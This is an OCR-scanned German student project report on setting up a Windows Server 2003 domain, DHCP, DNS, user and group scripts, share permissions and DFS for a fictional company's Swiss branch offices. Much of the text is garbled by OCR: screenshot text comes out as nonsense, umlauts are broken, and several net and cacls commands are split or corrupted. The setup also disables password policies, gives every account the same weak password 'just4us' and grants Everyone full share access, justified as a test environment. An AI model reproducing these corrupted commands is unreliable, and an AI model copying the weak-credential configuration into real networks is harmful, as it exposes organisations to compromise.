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1 EinfGhrung und Grundlegende Informationen

Wir beginnen mit Herr Meier wieder ein neues Projekt. Herr Meier war sehr erfolgreich mit dem Geschaft
und eroffnete mehrere Filialen, die er nun auch in das Netzwerk integrieren will.

1.1 Rahmenbedingungen
e 6 Filialen in der Schweiz
0 Pro Filiale ein Netzwerk mit Server und zwei Arbeitsstationen
e Papierloses Biiro
O Einziger Drucker in der Zentrale
e WLAN einrichten
O Test zur Sicherheit
e Verkaufsdaten von Zentrale auf Filialen verteilen
0 Synchronisieren
e Tagesdaten der Zentrale der Zentrale schicken
e Trennung zwischen den Daten der Geschaftsfiihrung und den Daten aus dem Tagesgeschéft.
0 Komplett getrennt (VLAN)
o Telefonie auf VolP migrieren

1.2 Dienste

Wir werden folgende Dienste einrichten:

1.2.1 Dateiserver

Sobald der Server fiir andere Benutzer im Netzwerk Dateien in freigegebenen Ordnern bereitstellt, fungiert
er als Dateiserver. Zu konfigurieren sind dazu Freigaben mit den entsprechenden Sicherheitseinstellungen
flir die Benutzer und Gruppen.

1.2.2 Druckserver

Die am haufigsten genutzten Dienste eines Servers sind die zur zentralen Bereitstellung und Verwaltung von
Druckern. Dieser Dienst ist mit W2k3 Server noch einfacher geworden

1.2.3 Domainencontroller

Die Doméanencontroller verwalten die Verzeichnisdatenbank der Domane, in der unter anderem alle
Benutzer, Sicherheitsgruppen und Computer erfasst sind (= Active Directory)

1.2.4 DNS-Server
Das Domain Name System (DNS) dient der Namensauflosung im Internet oder im LAN.
Bei Active Directory wird DNS vorausgesetzt.

IP-Adresse €<= Namen

1.2.5 DHCP-Server

Mithilfe des Dynamic Host Configuration Protocol (DHCP) werden IP-Adressen an Clientcomputer
automatisch durch einen zentralen DHCP-Server verteilt.

4146 2008-06-04
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1.3 Teamorganisation

Damit wir zusammen gut arbeiten kdnnen, missen wir die Arbeit im Team férdern. Es bringt nichts, wenn
jeder fir sich arbeitet und nicht mit den anderen kommuniziert. Es kann nicht jeder immer jede Aufgabe
machen. Deshalb missen wir die Arbeiten aufteilen. Die, die die Arbeit erledigen, miissen den anderen
mitteilen, was sie gemacht haben. Damit kénnen alle vom Wissen profitieren.
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2 Konzepte

In einem Konzept beschliesst man sich auf ein einheitliches Benennen von PCs und einheitliches vergeben

der IP-Adresse

Wir benennen die Gerate einheitlich. So weiss man sofort, wenn etwas Probleme macht anhand des

Namens, um was fiir ein Gerat es sich handelt, und woher es kommt (Standort).

2.1.1 Standort / Geratename / Nummer

e Standort

(0]

O O O o o o

e Gerat

O O O 0O o o o

BAS
BER
FRE

GEN
BEL

LOC
ZUE

SRV
NB
WS
SW
RT
PR
PH

e Nummer

Basel
Bern
Freiburg
Genf
Bellinzona
Locarno

Zlrich

Server
Notebook
Workstation
Switch
Router
Printer

Phone

0 Durchnummeriert von 01 bis 99

e Beispiel

0 Den ersten Server von Basel: BAS-SRV-01

2.1.2 IP-Adressen

Wir erstellen ein IP-Adressenkonzept. Es ist viel ibersichtlicher, wenn wir pro Filiale IP-Adressen verteilen.

Wenn wir dies machen, kdnnen wir genau anhand der IP-Adresse bestimmen, wo das Gerat steht.

2.1.2.1 IP-Subnetze

e Hauptagentur

0 192.168.1.0 /24

e Deutschschweiz
0 192.168.10.0 /24
0 192.168.11.0 /24
0 192.168.12.0 /24

Management / Zentraler Server

Bern
Zurich

Basel

646
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Westschweiz

0 192.168.20.0 /24
0 192.168.21.0 /24

Italienische Schweiz

0 192.168.30.0 /24
0 192.168.31.0 /24

2.1.2.2 IP-Adress-Ranges

192.168.xx.1 -
192.168.xx.11
192.168.xx.21
192.168.xx.91
192.168.xx.101 -
192.168.xx.201 -

10
20
90
100

200

254

Fribourg

Geneve

Locarno

Bellinzona

Router

Switch

Server
Peripherie
Client
VolP-Telefone
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3 Netzwerk in den Filialen erstellen

Damit es ein wenig schneller geht, installieren wir die Server von einem Image, das auf dem Server liegt.

3.1 Anforderung
e Domane
e Active-Directory
e 2 Arbeitsstationen
e Windows XP
e Office 2003 mit Outlook
e User
e Gruppen
e Recourcen
e Berechtigungen (Scripts)

e Internetzugriff

3.2 Konfiguration Router bzw. Switch

Unsere Clients verbinden wir mit einem Switch. Hieflir nehmen wir einen US-Robotics-Router, der jedoch als
Switch fungiert. Nach dem Reset deaktivieren wir nur den DHCP-Server, damit der Router nicht ins Netzwerk
pfuscht. Weitere Einstellungen sind fiir den Router nicht noétig.

3.3 Konfiguration Server

Wir flgten den Server zu der JACOME.LOCAL-Domane hinzu. Dann starteten wir DCPromo und begannen mit
dem einrichten der Sub-Domane.

IP-Adresse: 172.22.58.21
DNS-Adresse: Server von Zentrale (172.22.45.21)

3.3.1 DCPromo

DCPROMO.EXE Wir fihren diese EXE aus.
is Domanencontroller fur eine neus Domane: Wir fligen einen neuen
Wwahlen Sie dieze Option, um gine neue untergeordnete Domane, eine neus DOMANENKONTROLLER FUR EINE

Domanenstiuktur oder eine neue Domanengezamtstiuktur z2u erstellen. Dieser Server

wird der primare Domanencontroller der newen Domane werden. NEUE DOMANE hinzu.

& Untergecrdnete Domane in einer bestehenden Domanenstruktug Da wir eine Subdoméne

"v'-:féihlen Sie dieze Elptil:un_, WEN die neue I_:Jum-'fine als ur?!:ergecnrdnete Domane erstellen wollen, erstellen wir
:almgese_tzt we_ru:h_an sqll. Sie knnnﬁn z. B. eine neus Dn:nman,a_ ) eine UNTERGEORDNETE DOMANE

hauptzitz. beizpiel microsaft. com'* alz untergeardnete Domane der Domane
"beizpiel. microzoft com' erstellen. IN EINER BESTEHENDEN

DOMANENSTRUKTUR.
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Ubgrgenidnete Doméne: Die ibergeordnete Domane ist

jacome. local Durchsuchen. . | die JACOME.LOCAL-DOMANE. Da

wir die Filiale in Zirich sind,

Geben Sie den Mamen der neuen untergeardneten Domane an [z, B. heisst unsere untergeordnete
Buchhaltung).

. Domane ZUE.
Untergeordnete Domane:

Izuel Daraus ergibt sich dann

ZUE.JACOME.LOCAL.
Wollztandiger DMS-Mame der neuen Domane:

Izue.ian::n:nme.ln:n::al

3.3.2 DNS-Server

Ein DNS-Server (Domain Name System) I6st IP-Adressen in Namen und Namen in IP-Adressen auf. Der DNS-
Server zeigt auch auf gewisse Dienste, die man mit NSLoOkUP abfragen kann.

Dazu drei Beispiele:

Mailserver von edulu.ch abfragen nslookup —type=mx edulu.ch
Nameserver von Google.ch abfragen nslookup —type=ns google.ch
Mailserver von edulu.ch auf dem Nameserver von nslookup —type=mx edulu.ch
Google abfragen nsl.google.com

Man muss den DNS-Server einrichten, damit die Namensauflésung der Clients funktioniert. Dieser DNS-
Server erbt die DNS-Eintrage von der oberhalb liegenden Domane. Das ist eigentlich auch die Sache von der
ganzen Namensgeschichte: Der neue DNS-Server ZUE.JACOME.LOCAL libernimmt die DNS-Eintrage vom DNS-
Server JACOME.LOCAL.

Die Anfragen sind schneller, wenn wir den Server direkt vor Ort (in Zlrich) aufstellen, damit die Anfragen
nicht tGbers Internet gehen missen.
Problem: Der DNS-Dienst geht nach dem Konfigurieren manchmal in den Manuellen Mode. Das heisst, das

der Dienst nach dem Starten nicht automatisch ausgefiihrt wird. Dies muss man dndern, indem man den
Dienst auf Automatisch stellt. Somit funktioniert der DNS-Server!!l Das war ein grosses Problem bei uns!

3.3.3 DHCP-Server

Die Hauptaufgabe eines DHCP-Servers ist die Vergabe einer Konfiguration der Netzwerkkarten-Einstellungen.
Die wichtigsten Sachen sind:

e |P-Addresse
e Subnetmaske
e Default-Gateway
e DNS-Server
Man kann den Dienst aber auch noch fiir andere Zwecke brauchen:
e Vergebenvon
0 WINS-Server vergeben
0 Zeitserver vergeben
e Man kann IPs reservieren
e Definition: wie mit Broadcast umgehen
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Ein DHCP-Server bendtigen wir zum dynamischen zuweisen einer IP-Adresse zu einem Client.
Es gibt dabei folgende DHCP-Typen:
o DHCPDISCOVER: Ein Client ohne IP-Adresse sendet eine Broadcast-Anfrage nach Adress-Angeboten
an den/die DHCP-Server im lokalen Netz.
o DHCPOFFER: Der/die DHCP-Server antworten mit entsprechenden Werten auf eine DHCPDISCOVER-
Anfrage.
e DHCPREQUEST: Der Client fordert (eine der angebotenen) IP-Adresse(n), weitere Daten sowie
Verlangerung der Lease-Zeit von einem der antwortenden DHCP-Server.
e DHCPACK: Bestatigung des DHCP-Servers zu einer DHCPREQUEST-Anforderung
e DHCPNAK: Ablehnung einer DHCPREQUEST-Anforderung durch den DHCP-Server
e DHCPDECLINE: Ablehnung durch den Client, da die IP-Adresse schon verwendet wird.
o DHCPRELEASE: Der Client gibt die eigene Konfiguration frei, damit die Parameter wieder fiir andere
Clients zur Verfligung stehen.
e DHCPINFORM: Anfrage eines Clients nach Daten ohne IP-Adresse, z. B. weil der Client eine statische
IP-Adresse besitzt.
Den DHCP-Server konfigurieren wir folgendermassen:
e Bereich: Clients: 192.168.58.101 — 200

Wir kénnen auch gleich den DNS-Server bei der Konfiguration mitgeben. Damit miissen wir diesen nicht
mehr bei jedem Client separat eingeben. Wenn diese einmal wechseln wiirde, kann man es zentral an einem
Ort wechseln und schon sind alle Clients auf dem neusten Stand.

Bei allen Clients stellen wir die IP-Konfiguration auf DHCP. Es ist sehr wichtig, dass man das IP-
Adressenkonzept beachtet. Damit kdnnen schon einige Probleme aus dem Weg geschaffen werden. Wenn
der IT-Administrator sieht, welche IP-Adresse etwas macht, sieht er genau, was fiir eine Maschine das ist.

3.3.4 Kennwortrichtlinien anpassen

Eine Kennwortrichtlinie besagt, wie das Kennwort aussehen muss. Man kann z.B. die Mindestlange oder die
maximale Lange des Passworts angeben. Windows legt auch eine Chronik an, in welcher die vorhergehenden
Passworter gespeichert werden. Diese darf man dann fir eine gewisse Zeit nicht mehr verwenden

Per Konsole:
net accounts /minpwlen:6 /maxpwage:90 /minpwage:1 Zuniquepw:5
Oder Uber das GUI:

Wir 6ffnen die Sicherheitsrichtlinien fiir die Domanen und deaktivieren alle Kennwortrichtlinien. Dies ist ja
egal, da wir nur in einer Testumgebung arbeiten. Das schwache Passwort JusT4us wird nur akzeptiert, wenn
wir diese Kennwortrichtlinien deaktivieren.

' = s

@ﬂ Zertifizierungsstele
@ Active Directory-Benutzer und -Computer

Richtlinie  ~ Richtlinieneinstellung

enmmyortchronil erzwingen 0 gespeicherte Kennwdrter
Kennwﬁrter mik urikehrbarer Yerschiisselun,,,  Deakkiviert

Maximales Kenrwortalter 0

Minimale Kennwortlange 0 Zeichen

Minimales Kennwartalter 30 Tage

@E Active Directory-Domanen und -verkrauensstellungen
ﬁ Active Directory-Standorte und -Dienste

Fierk Aer Anseinen nnd Vardndern wvon lalkalan

Damit die Richtlinien aktiv werden, miissen wir folgenden Befehl ausfiihren:
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gpupdate /force

3.3.5 Script fiir den Server

Damit wir den Server moglichst schnell einrichten kénnen, erstellen wir alles mit einem Script. Der Vorteil
von einem Script ist es, das danach jeder Server genau gleich aussieht. Das

3.3.6 User einrichten
Hinweis:a=,//6="//u=1
Achtung: Kennwortrichtlinien deaktivieren und GPUPDATE /FORCE

Mit net user kann man ganz einfach neue Benutzer erstellen. Diese bekommen das bekannte , just4us”-
Passwort.

net user ABBM "justd4us' /add /expires:never /fullname:"Martina Abbuhl"
/comment:""Zirich" /profilepath:\\zue-srv0l\users$\ABBM\Profile /homedir:\\zue-
srv0l1\users$\ABBM\Home

net user BLUK "just4us'™ /add /expires:never /fullname:"Kevin Blum"
/comment:""Zirich" /profilepath:\\zue-srv0l\users$\BLUK\Profile /homedir:\\zue-
srv01\users$\BLUK\Home

net user EGGA "just4us'™ /add /expires:never /fullname:"Andy Eggli™
/comment:""Zirich" /profilepath:\\zue-srv0l\users$\EGGA\Profile /homedir:\\zue-
srv01\users$\EGGA\Home

net user DUDF "just4us'™ /add /expires:never /fullname:"Fiorina Dudli®’
/comment:""Zirich" /profilepath:\\zue-srv0l\users$\DUDF\Profile /homedir:\\zue-
srv01\users$\DUDF\Home

net user BADA "just4us' /add /expires:never /fullname:"Alexandra Bader™
/comment:"Zurich" /profilepath:\\zue-srvOl\users$\BADA\Profile /homedir:\\zue-
srv01\users$\BADA\Home

net user BOLJ "just4us' /add /expires:never /fullname:'Jan Bolte"
/comment:"Zurich" /profilepath:\\zue-srv0l\users$\BOLIJ\Profile /homedir:\\zue-
srv01\users$\BOLJI\Home

net user CHRR "just4us' /add /Zexpires:never /fullname:"Regina Christen"
/comment:"Zurich" /profilepath:\\zue-srvOl\users$\CHRR\Profile /homedir:\\zue-
srv01\users$\CHRR\Home

Das Home-Laufwerk wird automatisch auf den Laufwerksbuchstaben Z:\ gemappt.
Ergebnis:
Folgende Benutzer wurden erfolgreich angelegt:

C:\>net user
Benutzerkonten fur\\ZUE-SRV0O1

ABBM Administrator ASPNET

BADA BLUK BOLJ

CHRR DUDF EGGA

Gast IUSR_VFI-03 IWAM_VFI-03
krbtgt SUPPORT_388945a0

Der Befehl wurde erfolgreich ausgefihrt.

3.3.7 Globale Groups einfiigen!
net group GO _Filialleiter /add
net group GO_Verk,ufer /add
net group GO_Supporter /add
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net group GO_Lernende /add

net group GO_Aussendienst /add
net group GO_Reserve /add

Wir sehen, dass folgende Gruppen erstellt wurden:
C:\>net group

Gruppenkonten fir \\ZUE-SRVO1

L]

*G0_Aussendienst
*GO_Filialleiter

*G0O_Lernende

*GO_Reserve

*GO_Supporter

*G0_Verk,,ufer

L]

Der Befehl wurde erfolgreich ausgefihrt.

3.3.8 Lokale Groups einfiigen!

net localgroup LR Filialleiter /add
net localgroup LR Verk,ufer /add
net localgroup LR Supporter /add
net localgroup LR Lernende /add

net localgroup LR Aussendienst /add
net localgroup LR Reserve /add

Hier sehen wir die hinzugefligten Gruppen:
C:\>net localgroup

Gruppen fur\\ZUE-SRV01

*Administratoren
*Benutzer

L]
*LR_Aussendienst
*LR_Filialleiter
*LR_Lernende
*LR_Reserve
*LR_Supporter
*LR_Verk,,ufer
L]

Der Befehl wurde erfolgreich ausgefihrt.

3.3.9 User zu den Lokalen Gruppen hinzufiigen

net localgroup LR_Filialleiter GO_Filialleiter /add

net localgroup LR Verk,ufer GO_Verk,ufer /add
net localgroup LR Supporter GO_Supporter /add
net localgroup LR Lernende GO _Lernende /add

net localgroup LR _Aussendienst GO_Aussendienst /add

net localgroup LR Reserve GO _Reserve /add
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3.3.10 User zu den Globalen Gruppen hinzufiigen
net group GO _Filialleiter ABBM /add

net group GO Verk,ufer BLUK /add

net group GO_Supporter EGGA /add

net group GO_Lernende DUDF /add

net group GO_Aussendienst BADA /add

net group GO _Reserve BOLJ /add

net group GO _Reserve CHRR /add

3.3.11 Home-Verzeichnis fiir die Benutzer einfiigen

Das Home-Verzeichnis wird im Ordner D:\DATEN\USERS\ %USERNAME%\HOME erstellt.
mkdir D:\Daten\Users\ABBM\Home
mkdir D:\Daten\Users\BLUK\Home
mkdir D:\Daten\Users\EGGA\Home
mkdir D:\Daten\Users\DUDF\Home
mkdir D:\Daten\Users\BADA\Home
mkdir D:\Daten\Users\BOLJ\Home
mkdir D:\Daten\Users\CHRR\Home

3.3.12 Profile-Ordner fiir die Benutzer erstellen

Das Profil wird im Ordner D:\DATEN\USERS\%USERNAME%\PROFILE erstellt.
mkdir D:\Daten\Users\ABBM\Profile
mkdir D:\Daten\Users\BLUK\Profile
mkdir D:\Daten\Users\EGGA\Profile
mkdir D:\Daten\Users\DUDF\Profile
mkdir D:\Daten\Users\BADA\Profile
mkdir D:\Daten\Users\BOLJ\Profile
mkdir D:\Daten\Users\CHRR\Profile

3.3.13 Berechtigungen erstellen

cacls D:\Daten /T /C /G Administrator:F Dom, nen-Admins:F
cacls D:\Daten\Users /T /C /G Jeder:R Administrator:F Dom,,nen-Admins:F
net share users$=D:\Daten\Users /GRANT:Jeder,FULL

3.3.14 Public-Folder erstellen zum Austauschen von Dateien

Wir erstellen den folgenden Ordner, der fiir alle freigegeben ist. Dabei haben alle die Vollberechtigung
(Gruppe Jeder).

mkdir D:\Daten\Public

cacls D:\Daten\Public /T /C /G Jeder:F

net share public$=D:\Daten\Public /GRANT:Jeder,FULL

3.3.15 Erstelle Gruppenordner
Auf die Gruppenordner haben nur die bestimmten Gruppen Zugriff.

Hinweis: Wir geben nicht den Ordner einer bestimmten Gruppe frei, sondern der (ibergeordnete Ordner
Groups. Damit gehen wir auf die sichere Seite, wenn jemand in mehreren Gruppen ist. Dann kann man nur
den Ordner Groups mappen und der Zugriff ist per NTFS-Berechtigung auf die jeweiligen Unterordner vom
Netzwerklaufwerk geregelt.
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net share groups$=D:\Daten\Groups /GRANT:Jeder,FULL
mkdir D:\Daten\Groups\Filialleiter

cacls D:\Daten\Groups\Filialleiter /T /C /G LR_Filialleiter:F Administrator:F
Dom,,nen-Admins:F

mkdir D:\Daten\Groups\Verk,,ufer

cacls D:\Daten\Groups\Verk,,ufer /T /C /G LR Verk,ufer:F Administrator:F Dom,,nen-
Admins:F

mkdir D:\Daten\Groups\Supporter

cacls D:\Daten\Groups\Supporter /T /C /G LR_Supporter:F Administrator:F Dom,nen-
Admins:F

mkdir D:\Daten\Groups\Lernende

cacls D:\Daten\Groups\Lernende /T /C /G LR _Lernende:F Administrator:F Dom,nhen-
Admins:F

mkdir D:\Daten\Groups\Aussendienst

cacls D:\Daten\Groups\Aussendienst /T /C /G LR_Aussendienst:F Administrator:F
Dom,,nen-Admins:F

mkdir D:\Daten\Groups\Reserve

cacls D:\Daten\Groups\Reserve /T /C /G LR_Reserve:F Administrator:F Dom,,nen-
Admins:F

net share groups$=D:\Daten\Groups /GRANT:Jeder,FULL

3.3.16 Preislisten-Ordner erstellen und freigeben

In diesem Ordner wird vom Chef eine Preisliste angelegt. Der Filialleiter hat darauf den Vollzugriff. Alle
Anderen dirfen aber nur lesen.

mkdir D:\Daten\Preislisten

cacls D:\Daten\Preislisten /T /C /G Jeder:R LR_Filialleiter:F Administrator:F
Dom,,nen-Admins:F

net share preislisten$=D:\Daten\Preislisten /GRANT:Jeder,FULL

3.3.17 Berechtigungen fiir die User auf das Home- und Profile-Verzeichnis

Auf das Home-Verzeichnis hat natiirlich nur der User und der Administrator Zugriff.

cacls
cacls
cacls
cacls
cacls
cacls
cacls

D:\Daten\Users\ABBM
D:\Daten\Users\BLUK
D:\Daten\Users\EGGA
D:\Daten\Users\DUDF
D:\Daten\Users\BADA
D:\Daten\Users\BOLJ
D:\Daten\Users\CHRR

3.3.18 Ordnerstruktur

/T
/T
/T
/T
/T
/T
/T

/C
/C
/C
/C
/C
/C
/C

/G
/G
/G
/G
/G
/G
/G

ABBM:F
BLUK:F
EGGA:F
DUDF:F
BADA:F
BOLJ:F
CHRR:F

Administrator:F
Administrator:F
Administrator:F
Administrator:F
Administrator:F
Administrator:F
Administrator:F

Das Script erstellt folgende Ordnerstruktur im Laufwerk D:\.
D:\>tree /a

Auflistung der Ordnerpfade

Volumeseriennummer : OOO6EE50 3049:CD91
D:.
\---Daten

+--—-Groups

+---Aussendienst
+-—-Filialleiter

Dom,,nen-Admins:F
Dom,,nen-Admins:F
Dom,,nen-Admins:F
Dom,,nen-Admins:F
Dom,,nen-Admins:F
Dom,,nen-Admins:F
Dom,,nen-Admins:F
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+---Lernende
+---Reserve
+-—-Supporter
\---Verk,,ufer
+---Preislisten
+---Public

\---Users
+-—--ABBM
| +---Home
| \---Profile
+-—-BADA
| +-—--Home
| \---Profile B <+ Lokjler QabentySoey 05)
+---BLUK = ;mﬁm
| +———Home_ - )
| \---Profile ) Fltalaber
+---BOLJ I Lareansde
| +-—--Home = Resarve
| \-—-Profile =) Supparbor
+---CHRR I VerkBufor
| +———Home (=i Proldithan
| \---Profile (e Publc
+---DUDF = "E':'“"'_f";"
| +---Home ) Hame
| \---Profile ) Prafe
\---EGGA T BADA
Diese Ordnerstruktur ermdglicht eine einfache Organisation. M ) e
H 8y
3.3.19 Freigaben / Berechtigungen D aRe
H ) ouDF
Hier eine Information bzgl. Berechtigungen @ ) 56GA

Es gibt zwei Arten von Berechtigungen:
= NTFS-Berechtigungen
= Freigabe-Berechtigungen

Die NTFS-Berechtigungen sind im Filesystem gespeichert. Diese sind auch aktiv, wenn der User sich lokal
anmelden wirde.

Die Freigabe-Berechtigungen sind dazu da, einem User zu ermoglichen auf einen Ordner/Drucker den Zugriff
zu geben.
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=

ﬁ@iﬁ

Freigabe-Berechtigungen

; NTFS-
Registry )
| Berechtigungen
&‘/ / Filesystem
Drucker FAT32 Partition

Nicht-NTFS formatierte/ bzw. 40 GB
formatierbare Ressourcen

Bei den Freigaben vergeben wir immer die Vollberechtigung fir die Gruppe Jeder. Damit kann jeder auf die
freigegebenen Ordner zugreifen. Die weiteren Berechtigung bestimmt immer die NTFL-Dateiberechtigung.
Anhand von dieser NTFS-Berechtigung wird der Zugriff geregelt.

C:\>net share

Name Ressource Beschreibung
L]

preislisten$ D:\Daten\Preislisten

Daten$ D:\Daten

groups$ D:\Daten\Groups

users$ D:\Daten\Users

public$ D:\Daten\Public

L]

Der Befehl wurde erfolgreich ausgefihrt.

3.3.20 Infos zu den Gruppen

Wir arbeiten nach dem Prinzip: AG DL P
e A (Acout) Dies ist ein Benutzeraccount.
e G (Global Group)
e DL (Domain Local Group)

e P (Permission)
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Globale Gruppen: Diese verwenden wir fiir die eigene Domane. Man kann keine Benutzer von einer anderen
Domane in diese Gruppe einfliigen. Wir vergeben keiner Ressource Berechtigung fir diese Gruppen.

Lokale Gruppen: Diese verwenden wir flr die Berechtigungen. Man flgt in diese lokalen Gruppen keine
User, sondern globale Gruppen ein. Nun kann man auch globale Gruppen von einer anderen Domane
hinzufugen.

Das ist folgendermassen am Beispiel Bern zu sehen:!

¢c ¢ ¢ €6 ¢ ¢ O

M. Iseli S. Abacherli A. Hurni E. Geisler B. Bieri R. Eschmann P. Messerli

\ /

¢ ¢ ¢ ¢ ¢ O

GO_FL GO_VK GO_SP GO_LE GO_AD GO_RE

DL

LR_FL LR VK LR SP LR JACOME LR LE LR_AD LR RE
o P
. & > =
L \WBER-SRV02\LE$
\WBER-SRV02\SP$ WBER-PRO1 \BER-SRV02\Public pe
DFS _
= \BER-SRV02\VK$ \BER-SRV02\AD$
\BER-SRVO2\FL$ ' ) —
== == \BER-SRV02\RE$
\ZUE-SRV01\Freigabe \LOC-SRVO1\Freigabe

Folgendermassen sind die Bezeichnungen zu verstehen:
e GO_XX Global Organisation

e LR_XX Local Ressource

1
Quelle: Roman Bachmann
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3.4 DFS (Distributed File System) einrichten

BAS.JacoME.local A S—

D:\Daten\
Preisliste

J ———

BAS-SRVO1 | p:\paten

(ZUE.JacoME.local > —— h

D:\Daten\
Preisliste
N  >—

ZUE-SRvO01 | D:\Daten

: D:\Daten wird in der Nacht mit dem
| Toplevel-DC repliziert: BACKUP!

Emanuel Duss

(FRE.JacoME.local A S h
D:\Daten\
Preisliste
BER-SRVO2 | p\paten
-E ) ¢ A S— BELJacoME.local\
F.3
2 D:\Daten\
g Preisliste
— o——— } s
Replikati ,( Vet ( >——
eplikatio D:\Daten\ Rep ~
w D:\Daten BEL-SRVO1
D:\Daten\
Preisliste AN J
'P%/ (- o LOC.JacoME.local )
.
6“0 4@,; D:\Daten\
N % Preisliste
R
& ‘ £
'{:‘2 ;% .
BER-SRVOL = o LOC-SRVO1
»Toplevel-DC* )
JacoME.local
L N J
|TT T T T T T T T T T T
| L . R |
— 1 D:\Daten\Preisliste wird standi
(FRE.JacoME.local i S 2 : . 9 !
, 2wischen allen Sublevel-DCs :
: o I repliziert. Der DFS-Stamm liegt I
| 1jedoch auf dem Toplevel-DC, so |
: | funktioniert die Replikation :
Y | !eigentlich iiber den Toplevel-DC. |
FRE-SRVO1 | D:\Daten\ 1 So ist fur alle Filialen immer die :
Preisliste | T m |
| aktuelle Preisliste verfiigbar. |
|
N

Erklarung dazu: Wir bendtigen das DFS fiir zwei Sachen:

1.

34.1

Datenbackup: Die Daten von D:\Daten bei den Filialen werden beim Zentralserver auf
D:\Daten\backup_zue gesichert.

Datenaustausch: Damit auf allen Agenturen immer dieselbe Preisliste vorhanden ist, synchronisiert
der Zentral-Server die Preisliste mit allen Agenturen.

Grundfunktion

Die Grundfunktion von DFS ist es, verschiedene Freigaben auf mehreren Servern zu einer Freigabe
zusammenzufassen.

nicht verfligbar, suchen die Clients einen weiteren.

Client ermittelt durch ActiveDirectory den nachstgelegenen DFS Root-Server. Ist ein DFS Root-Server

DFS leitet die Clients nun zu den DFS-Zielen (Targets), also den Servern mit den entsprechenden

Freigaben. Wenn ein solcher Server ausfillt, leitet DFS die Clients zu einem Server, dessen Freigabe
als DFS-Target fiir dieselbe DFS-Verkniipfung konfiguriert ist.

? Grafik by Arno Galliker
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Der Client connectet zum DFS-Server. Dort schaut der Client, wo die eigentliche Freigabe ist, und connectet
dann direkt darauf. Es passiert kein Umweg tber den DFS-Server. Es muss nicht zwingend eine Windows-
Freigabe sein (der Client muss das Protokoll einfach unterstiitzen).

Wenn ein AD vorhanden ist, erstellt man einen DFS-Doméanenstamm.

DFS-Doméanenstamm \\domain.int\stammname

Eigenstandiger Stamm \\computername\stammname

3.4.2 Voraussetzungen

(0 DFS-Client DFS-Root DFS-Ziel
W2k3 Ja Ja Ja
Windows XP Ja Nein Ja
W 2k Server Ja Ja Ja
W2K Professional Ja Nein Ja
Windows NT4 Server Ja Ja (kein Domain-Mode) Ja
Windows NT4 Workstation Ja Nein Ja
Windows 98 Ja (kein Domain Mode) Nein Ja

3.4.3 FRS (File Replication Service)
Das funktioniert nur beim DFS-Domadnenstamm (setzt ActiveDirectory voraus).

Eine DFS-Verknipfung kann auch auf mehrere Ziele Zeigen, die auf verschiedenen Servern liegen. (zwei
Ziele)

Wenn eine DFS-Verknlipfung auf 4 Ordner zeigt, mochte man diese 4 Freigaben synchron halten!
(Replikationssatz hinzufligen)

Bei Verwendung eines ,eigenstandigen DFS-Stammes” (also ohne die Mitarbeit einer Domain) kann man
zwar mehrere Ziele definieren, diese jedoch nicht automatisch synchronisieren (das muss dann anders gel6st
werden.).

3.4.4 Ausfallsicherheit
Sehr wichtig natadrli!!!
Klassischerweise verwendet man Cluster. Doch das DFS kann auch eine preisgiinstigere Alternative sein.

DFS ist an zwei Stellen ,,empfindlich®: am DFS-Root (also die Anlaufstelle der Clients) und die DFS-Zeile (die
Freigabe von den Servern).

So macht man es sicherer:

e DFS-Domdnenstamm verwenden

e Redundante ActiveDirectory-Domainkontroller. Wenn kein DC vorhanden ist dann finden die Clients
Uberhaupt nichts (/dev/null ©).

e Redundante DFS-Roots: Wird lber die MMC konfiguriert.

e Redundante DFS-Ziele: Mindestens 2 Ziele pro DFS-Verkniipfung. Diese sollten z.B. mit dem
File Replication Service synchron gehalten werden.
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Die redundanten Maschinen sollten physikalisch getrennt stehen...

3.4.5 Verteilen von Daten / Standortiibergreifendes DFS

Damit die Mitarbeiter in Chur nicht (iber die WAN-Strecke auf den Server in Luzern zugreifen missen, stellt
man in Chur einen Server auf und erstellt eine Freigabe. Diese Freigabe definiert man dann als zusatzliches
Ziel. Nun kénnen die Mitarbeiter von Chur auf den Chur-Server zugreifen. Das macht man mit dem

Domain Controller, dem DFS-Root und dem FileServer.

- Man muss Das Datenvolumen beachten, damit die Synchronisation nicht die WAN-Strecke belastet.

3.4.6 Sicherung von Daten

Die verschiedenen Ziele auf den verschiedenen Lokationen werden mit dem FRS synchronisiert. Somit muss
man nur an einem Ort einen Tape-Roboter aufstellen.

Sollte der Fileserver auf der Agentur ausfallen, so greifen die Clients auf die Daten im Hauptsitz zu. Ein
Storfallkonzept ist also schon integriert ;).

3.4.7 Anleitung®

Wiahlen Sie den Typ des zu erstellenden Stamms: Domanenstamm auswahlen (fur Replikation)

.............. o

" Eigenstandiger Stamm

Hostdomane Top Doméne anwahlen (JACOME.LOCAL)
Eine Domane kann eine Hostdomane fur mehrere DFF

Geben Sie die Hostdamane fur den Stamm ein, ader »
Lizte der vertraugnden Domanen.

[Dlomanennanme:

Wertrauende Domanern:

2# BAS jacome. local ﬁzue.iamme.lacal

Als Hostserver nehmen wir den Top-Level Server.

Servername:
BER-5RY01 jacome.local

? Erstellt von Reto Gobat
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Assistent zum Erstellen eines neuen Stamms |

Stammname

Geben Sie einen Mamen fiir den DFS-Stamm an, der erstellt werden soll. @

Geben Sie einen eindeutigen Namen fiir diesen Stamm ein

Stammname:

IDFS

“orgchau auf den UMC-Pfad des Stamms:

I\\|acome.|ocaI\DF5

Kommentar:

Zu werwendende Freigabe:

IDFS

<zuiick [ weify | Abbrechen |

Stammname: DFS (beliebig wahlbar, moglichst
aussagenkraftig.

& = | EE el R DS s

.% Yerteilkes Dateisystem (DF

E% 1jacome. locallpes

b Preislisten

Neues Zigl. .

Stammziel | DF3-Yerweis

Skatus Gberprifen
Yerknipfungen Filkern. ..
Stamrm ausblenden
Skarnm |Gschen

Anoezeinte Yerkniiofunaen [Bschen

Es muss eine Verkniipfung erstellt werden.

Geben Sie einen Mamen und einen Pfad fur die neue Verknuipfung ein.
Wwenn Benutzer auf dieze Verkniipfung klicken, wird der freigeqebene
Ordrer, der als Ziel angegeben wurde, gedffnet.

Werknupfungsnane:

IB.&EKLIF'-BEH

Worschau auf den UMC-Pfad der Verknlipfung:

I‘\\JAEDME\DFS‘\BACKUF’-BEH

Zielpfad [zum freigegebenen Ordner):

I\\Ber-swﬂ'l WOFShbackup_ber

Kommentar:

Durchzuchen... I

I

Zeit [in Sekunden), die Clients diesen Yenueiz zwizchenspeichenm:

I'IBDEI

My

Ok Abbrechen

Der Name ist beliebig wahlbar, sollte aber
dennoch aussagekraftig sein. Der Zielpfad, muss
auf den Top Server zeigen.
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Datei  Akbion  Ansicht 7
&= | EHE DR @,

.E Werteilkes Dateisystem (DF | Ziel

EI--% 1jacome. local\DFS guaer-swmxm
~..JE)

Preislisken
Skatus Gberpri
